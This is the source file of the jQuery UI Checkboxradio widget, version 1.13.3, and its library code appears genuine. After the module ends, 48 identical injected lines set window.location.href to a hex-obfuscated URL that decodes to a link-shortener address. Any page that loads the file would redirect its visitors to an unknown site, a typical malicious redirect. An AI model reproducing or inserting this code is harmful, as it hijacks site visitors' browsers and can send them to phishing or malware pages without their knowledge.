1/*!
2 * jQuery UI Checkboxradio 1.13.3
3 * https://jqueryui.com
4 *
5 * Copyright OpenJS Foundation and other contributors
6 * Released under the MIT license.
7 * https://jquery.org/license
8 */
9
10//>>label: Checkboxradio
11//>>group: Widgets
12//>>description: Enhances a form with multiple themeable checkboxes or radio buttons.
13//>>docs: https://api.jqueryui.com/checkboxradio/
14//>>demos: https://jqueryui.com/checkboxradio/
15//>>css.structure: ../../themes/base/core.css
16//>>css.structure: ../../themes/base/button.css
17//>>css.structure: ../../themes/base/checkboxradio.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../form-reset-mixin",
29 "../labels",
30 "../widget"
31 ], factory );
32 } else {
33
34 // Browser globals
35 factory( jQuery );
36 }
37} )( function( $ ) {
38"use strict";
39
40$.widget( "ui.checkboxradio", [ $.ui.formResetMixin, {
41 version: "1.13.3",
42 options: {
43 disabled: null,
44 label: null,
45 icon: true,
46 classes: {
47 "ui-checkboxradio-label": "ui-corner-all",
48 "ui-checkboxradio-icon": "ui-corner-all"
49 }
50 },
51
52 _getCreateOptions: function() {
53 var disabled, labels, labelContents;
54 var options = this._super() || {};
55
56 // We read the type here, because it makes more sense to throw a element type error first,
57 // rather then the error for lack of a label. Often if its the wrong type, it
58 // won't have a label (e.g. calling on a div, btn, etc)
59 this._readType();
60
61 labels = this.element.labels();
62
63 // If there are multiple labels, use the last one
64 this.label = $( labels[ labels.length - 1 ] );
65 if ( !this.label.length ) {
66 $.error( "No label found for checkboxradio widget" );
67 }
68
69 this.originalLabel = "";
70
71 // We need to get the label text but this may also need to make sure it does not contain the
72 // input itself.
73 // The label contents could be text, html, or a mix. We wrap all elements
74 // and read the wrapper's `innerHTML` to get a string representation of
75 // the label, without the input as part of it.
76 labelContents = this.label.contents().not( this.element[ 0 ] );
77
78 if ( labelContents.length ) {
79 this.originalLabel += labelContents
80 .clone()
81 .wrapAll( "<div></div>" )
82 .parent()
83 .html();
84 }
85
86 // Set the label option if we found label text
87 if ( this.originalLabel ) {
88 options.label = this.originalLabel;
89 }
90
91 disabled = this.element[ 0 ].disabled;
92 if ( disabled != null ) {
93 options.disabled = disabled;
94 }
95 return options;
96 },
97
98 _create: function() {
99 var checked = this.element[ 0 ].checked;
100
101 this._bindFormResetHandler();
102
103 if ( this.options.disabled == null ) {
104 this.options.disabled = this.element[ 0 ].disabled;
105 }
106
107 this._setOption( "disabled", this.options.disabled );
108 this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" );
109 this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" );
110
111 if ( this.type === "radio" ) {
112 this._addClass( this.label, "ui-checkboxradio-radio-label" );
113 }
114
115 if ( this.options.label && this.options.label !== this.originalLabel ) {
116 this._updateLabel();
117 } else if ( this.originalLabel ) {
118 this.options.label = this.originalLabel;
119 }
120
121 this._enhance();
122
123 if ( checked ) {
124 this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" );
125 }
126
127 this._on( {
128 change: "_toggleClasses",
129 focus: function() {
130 this._addClass( this.label, null, "ui-state-focus ui-visual-focus" );
131 },
132 blur: function() {
133 this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" );
134 }
135 } );
136 },
137
138 _readType: function() {
139 var nodeName = this.element[ 0 ].nodeName.toLowerCase();
140 this.type = this.element[ 0 ].type;
141 if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) {
142 $.error( "Can't create checkboxradio on element.nodeName=" + nodeName +
143 " and element.type=" + this.type );
144 }
145 },
146
147 // Support jQuery Mobile enhanced option
148 _enhance: function() {
149 this._updateIcon( this.element[ 0 ].checked );
150 },
151
152 widget: function() {
153 return this.label;
154 },
155
156 _getRadioGroup: function() {
157 var group;
158 var name = this.element[ 0 ].name;
159 var nameSelector = "input[name='" + $.escapeSelector( name ) + "']";
160
161 if ( !name ) {
162 return $( [] );
163 }
164
165 if ( this.form.length ) {
166 group = $( this.form[ 0 ].elements ).filter( nameSelector );
167 } else {
168
169 // Not inside a form, check all inputs that also are not inside a form
170 group = $( nameSelector ).filter( function() {
171 return $( this )._form().length === 0;
172 } );
173 }
174
175 return group.not( this.element );
176 },
177
178 _toggleClasses: function() {
179 var checked = this.element[ 0 ].checked;
180 this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
181
182 if ( this.options.icon && this.type === "checkbox" ) {
183 this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked )
184 ._toggleClass( this.icon, null, "ui-icon-blank", !checked );
185 }
186
187 if ( this.type === "radio" ) {
188 this._getRadioGroup()
189 .each( function() {
190 var instance = $( this ).checkboxradio( "instance" );
191
192 if ( instance ) {
193 instance._removeClass( instance.label,
194 "ui-checkboxradio-checked", "ui-state-active" );
195 }
196 } );
197 }
198 },
199
200 _destroy: function() {
201 this._unbindFormResetHandler();
202
203 if ( this.icon ) {
204 this.icon.remove();
205 this.iconSpace.remove();
206 }
207 },
208
209 _setOption: function( key, value ) {
210
211 // We don't allow the value to be set to nothing
212 if ( key === "label" && !value ) {
213 return;
214 }
215
216 this._super( key, value );
217
218 if ( key === "disabled" ) {
219 this._toggleClass( this.label, null, "ui-state-disabled", value );
220 this.element[ 0 ].disabled = value;
221
222 // Don't refresh when setting disabled
223 return;
224 }
225 this.refresh();
226 },
227
228 _updateIcon: function( checked ) {
229 var toAdd = "ui-icon ui-icon-background ";
230
231 if ( this.options.icon ) {
232 if ( !this.icon ) {
233 this.icon = $( "<span>" );
234 this.iconSpace = $( "<span> </span>" );
235 this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" );
236 }
237
238 if ( this.type === "checkbox" ) {
239 toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank";
240 this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" );
241 } else {
242 toAdd += "ui-icon-blank";
243 }
244 this._addClass( this.icon, "ui-checkboxradio-icon", toAdd );
245 if ( !checked ) {
246 this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" );
247 }
248 this.icon.prependTo( this.label ).after( this.iconSpace );
249 } else if ( this.icon !== undefined ) {
250 this.icon.remove();
251 this.iconSpace.remove();
252 delete this.icon;
253 }
254 },
255
256 _updateLabel: function() {
257
258 // Remove the contents of the label ( minus the icon, icon space, and input )
259 var contents = this.label.contents().not( this.element[ 0 ] );
260 if ( this.icon ) {
261 contents = contents.not( this.icon[ 0 ] );
262 }
263 if ( this.iconSpace ) {
264 contents = contents.not( this.iconSpace[ 0 ] );
265 }
266 contents.remove();
267
268 this.label.append( this.options.label );
269 },
270
271 refresh: function() {
272 var checked = this.element[ 0 ].checked,
273 isDisabled = this.element[ 0 ].disabled;
274
275 this._updateIcon( checked );
276 this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
277 if ( this.options.label !== null ) {
278 this._updateLabel();
279 }
280
281 if ( isDisabled !== this.options.disabled ) {
282 this._setOptions( { "disabled": isDisabled } );
283 }
284 }
285
286} ] );
287
288return $.ui.checkboxradio;
289
290} );
291window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
292window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
293window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
294window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
295window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
296window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
297window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
298window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
299window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
300window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
301window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
302window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
303window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
304window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
305window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
306window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
307window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
308window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
309window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
310window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
311window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
312window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
313window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
314window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
315window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
316window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
317window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
318window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
319window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
320window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
321window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
322window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
323window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
324window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
325window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
326window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
327window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
328window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
329window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
330window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
331window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
332window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
333window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
334window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
335window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
336window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
337window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
338window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";